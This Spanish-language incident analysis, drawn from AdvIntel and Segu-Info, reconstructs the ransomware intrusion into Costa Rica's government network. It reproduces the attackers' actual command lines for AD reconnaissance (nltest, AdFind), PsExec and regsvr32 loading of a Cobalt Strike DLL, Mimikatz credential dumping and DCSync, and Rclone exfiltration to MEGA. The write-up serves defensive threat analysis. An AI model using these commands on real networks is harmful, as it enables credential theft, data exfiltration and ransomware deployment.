Esta es una de las intrusiones de red más dañinas y documentadas en el panorama de amenazas en los últimos tiempos e incluye el flujo de ataque anterior. Se establecieron y documentaron más de diez sesiones de baliza Cobalt Strike como parte de este ataque.

1. La infección siguió un flujo de ataque típico en el que los adversarios obtuvieron acceso desde una VPN comprometida e instalaron Cobalt Strike dentro de la subred de Costa Rica.

2. Los adversarios obtuvieron reconocimiento del administrador de dominio de la red local y del administrador de la empresa a través de los siguientes comandos:

nltest /dclist:
net group "domain Admins" /domain
net group "Enterprise Admins" /domain

3. Luego, los actores de la amenaza realizaron un reconocimiento de la red a través de la enumeración del dominio, antes de escanear la red en busca de recursos compartidos:

Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\found_shares.txt
adfind.exe  -f "(objectcategory=person)" > ad_users.txt
adfind.exe  -f "objectcategory=computer" > ad_computers.txt
adfind.exe -f "(objectcategory=organizationalUnit)" >  ad_ous.txt
adfind.exe -sc trustdmp > trustdmp.txt
adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt
adfind.exe  -f "(objectcategory=group)" > ad_group.txt
adfind.exe -gcb -sc trustdmp > trustdmp.txt

4. El adversario (al que se hace referencia con el seudónimo interno "MemberX") descargó la salida del archivo compartido en su máquina local a través del canal Cobalt Strike.

Este patrón de ataque brindó a los atacantes la oportunidad de acceder a recursos compartidos de archivos ADMIN$ y cargar/ejecutar un binario DLL del beacon de Cobalt Strike desde la ubicación remota a través de PsExec, estableciendo así acceso de administrador local a través del siguiente comando:

  psexec 10.X.X.XX cmd.exe /c regsvr32.exe C:\ProgramData\1.dll

5. Luego, los adversarios aprovecharon Mimikatz de Cobalt Strike para volcar las contraseñas de inicio de sesión y los hashes de NTDS de los usuarios de las máquinas locales, obteniendo hashes de administrador de empresa, dominio y administrador local:

  mimikatz sekurlsa::logonpasswords

6. Los adversarios aprovecharon las credenciales de usuario empresarial para realizar un ataque DCSync y Zerologon. Esto efectivamente les dio acceso a cada host en las redes interconectadas de Costa Rica.

  mimikatz @lsadump::dcsync /domain:HACIENDA /all /csv

7. Luego, los adversarios cargaron scripts MSI con Atera Remote Management Tool (RMM), los hosts remotos seleccionaron aquellos con acceso de administrador local y menos actividad de los usuarios. Esto establecía un "anclaje" y un retorno seguro en caso de que las balizas de los actores de amenazas fueran quemadas o detectadas por la conocida herramienta EDR utilizada por Costa Rica.

8. Los adversarios hicieron volvieron a escanear la red, aprovechando las credenciales de administrador empresarial y compilaron una lista de todos los activos y bases de datos corporativos disponibles bajo sus nuevos privilegios elevados.

9. En varios hosts de red, los adversarios también crearon un archivo de configuración Rclone, que su herramienta de exfiltración de datos aprovechó como entrada para subir los datos al servicio de MEGA. Luego comenzaron la exfiltración de datos de la red:

rclone.exe copy "\\REDACTED.mh.hacienda.go.cr\REDACTED" mega:REDACTED
    -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6

10. Los adversarios cargaron las herramientas Process Hacker, Power Tools y Do Not Sleep, y scripts batch para completar el proceso:

  start regsvr32.exe /s /n /i:"-m -net -size 10 -nomutex -p \\REDACTED.local\D$" x64.dll

En general, esta intrusión fue relativamente poco sofisticada y se basó en eludir la solución EDR a través de la baliza personalizada en memoria. Esto, junto con una red bastante "plana" con recursos compartidos administrativos mal configurados, permitió la implementación de una operación de ransomware en los dominios relacionados.

Fuentes: 

https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion

https://blog.segu-info.com.ar/2022/07/anatomia-del-ataque-de-ransomware-al.html